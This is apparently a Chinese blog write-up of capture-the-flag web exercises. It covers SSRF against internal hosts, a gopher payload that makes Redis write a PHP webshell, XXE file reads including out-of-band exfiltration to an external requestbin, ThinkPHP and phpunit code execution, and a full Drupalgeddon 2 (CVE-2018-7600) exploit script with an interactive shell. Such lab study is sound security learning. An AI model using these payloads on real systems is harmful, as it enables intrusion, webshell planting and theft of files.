8.5-练习

上一篇 | 目录 | 下一篇

SSRF

SSRF扫描内网靶机

<?php
highlight_file(__FILE__);

if(isset($_GET['url'])) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $_GET['url']);
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //如果把这行注释掉的话,就会直接输出
    $result=curl_exec($ch);
    curl_close($ch);
    echo($result);
}

存在curl_exec()函数,就可能存在SSRF:
在这里插入图片描述
查看内网IP:

/etc/hosts            #hosts文件
/proc/net/fib_trie    #网卡信息

在这里插入图片描述
访问172.17.0.3得到flag:
在这里插入图片描述





SSRF攻击 Redis

redis密码:root

访问一下,解析出了标题,说明这里可能存在SSRF。
在这里插入图片描述

输入127.0.0.1:100,提示 Failed to connect to 127.0.0.1 port 100: Connection refused;
但是输入127.0.0.1:6379,不提示这个错误消息,表明6379端口确实开着。

BP抓个包:
在这里插入图片描述
可以用gopher://协议传输redis的数据报文,达到类似redis的连接、设置、存储操作。
使用自动化工具Gopherus

https://github.com/tarunkant/Gopherus
https://github.com/LS95/gopher-redis-auth	#针对redis需要密码认证的自动化工具

在这里插入图片描述

gopher://127.0.0.1:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_REQUEST%5B%27air%27%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

需要对数据进行url编码,BP右键Convert selection->URL->URL-encode key charchters进行url编码。
在这里插入图片描述
此时就会在网站根目录/var/www/html下生成shell.php,内容是一句话木马<?php eval($_REQUEST['air']);?>
在这里插入图片描述





SSRF攻击本地的php-fpm fastcgi(9000端口)

类似于上一题,需经过url编码后传入:
在这里插入图片描述





XXE漏洞

XXE读取/flag和./flag.php

<?php
highlight_file(__FILE__);
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);

echo $xml->name;

php://input可以传xml代码导致XXE漏洞:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE air [<!ENTITY xxe SYSTEM "file:///flag">]>
<root>
<name>&xxe;</name>
</root>

在这里插入图片描述
读取./flag.php
在这里插入图片描述
base解码为:

<?php
$flag = 'flag{sometimes_you_need_php://}';




无回显XXE读取/flag

<?php
highlight_file(__FILE__);
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);

既然无回显,就开一个外带通道:
在这里插入图片描述
xml内容:

<?xml version="1.0"?>
<!DOCTYPE convert [
<!ENTITY % dtd SYSTEM "http://10.11.47.175/air.dtd">
%dtd;%int;%send
]>

air.dtd内容:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://http.requestbin.buuoj.cn/vatk0dva?p=%file;'>">

在这里插入图片描述
要是没开报错,其实也可以到外带通道里查看得到flag的base64编码:
在这里插入图片描述





PHP代码执行

Thinkphp5 代码执行

在这里插入图片描述
使用Kali里的searchsploit查找thinkphp的利用poc:
在这里插入图片描述
使用以上查找出来的payload直接拿到flag:
在这里插入图片描述





phpunit代码执行

代码审计,出问题的地方在eval-stdin.php处:
在这里插入图片描述
访问:

http://10.20.25.44:283/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

在这里插入图片描述





Durpal代码执行

在这里插入图片描述
猜测是cve-2018-7600,使用脚本来源:

https://github.com/zhzyker/exphub

脚本如下,稍微修改了一下:

#!/usr/bin/python3
# coding:utf-8
# author:zhzyker
# from:https://github.com/zhzyker/exphub

import sys
import requests
import json

if len(sys.argv)!=2:
    print('+----------------------------------------------------------------------+')
    print('+ DES: by zhzyker as https://github.com/zhzyker/exphub                 +')
    print('+      Drupal Drupalgeddon 2 远程代码执行 CVE-2018-7600                +')
    print('+----------------------------------------------------------------------+')
    print('+ USE: python3 <filename> <url>                                        +')
    print('+ EXP: python3 cve-2018-7600_cmd.py http://1.1.1.1:8080                +')
    print('+ VER: Drupal 6.x                                                      +')
    print('+      Drupal 7.x < 7.58                                               +')
    print('+      Drupal 8.3 < 8.3.9                                              +')
    print('+      Drupal 8.4 < 8.4.6                                              +')
    print('+      Drupal 8.5 < 8.5.1                                              +')
    print('+----------------------------------------------------------------------+')
    print('+ DES: Shell仅能回显一行代码,多行代码结果查看http://xxxx/exphub.txt   +')
    print('+----------------------------------------------------------------------+')
    sys.exit()

url=sys.argv[1]
#cmd=sys.argv[2]
cmd="whoami"

proxies = {}
verify = True

def do_post(cmd):
    target = url + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' 
    payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': ''+cmd+' | tee exphub.txt'}
    r = requests.post(target, proxies=proxies, data=payload, verify=verify)
    #command = r.json()[0]["data"]
    #command = command.split("<span")[0]
    #print (command)

    check = requests.get(url+'exphub.txt', proxies=proxies, verify=verify)
    if check.status_code!=200:
        sys.exit("[-] not CVE-2018-7600\n")
    print('[+] '+url+'exphub.txt\n')
    res = requests.get(url+'exphub.txt')
    print(res.text)

def main():
    while 1:
        cmd = input("Shell >>> ")
        if cmd=="exit":
            exit(0)
        do_post(cmd)

if __name__ == '__main__':
    main()

在这里插入图片描述





========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处
本文网址:https://blog.csdn.net/hiahiachang/article/details/107825513
========================================================

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值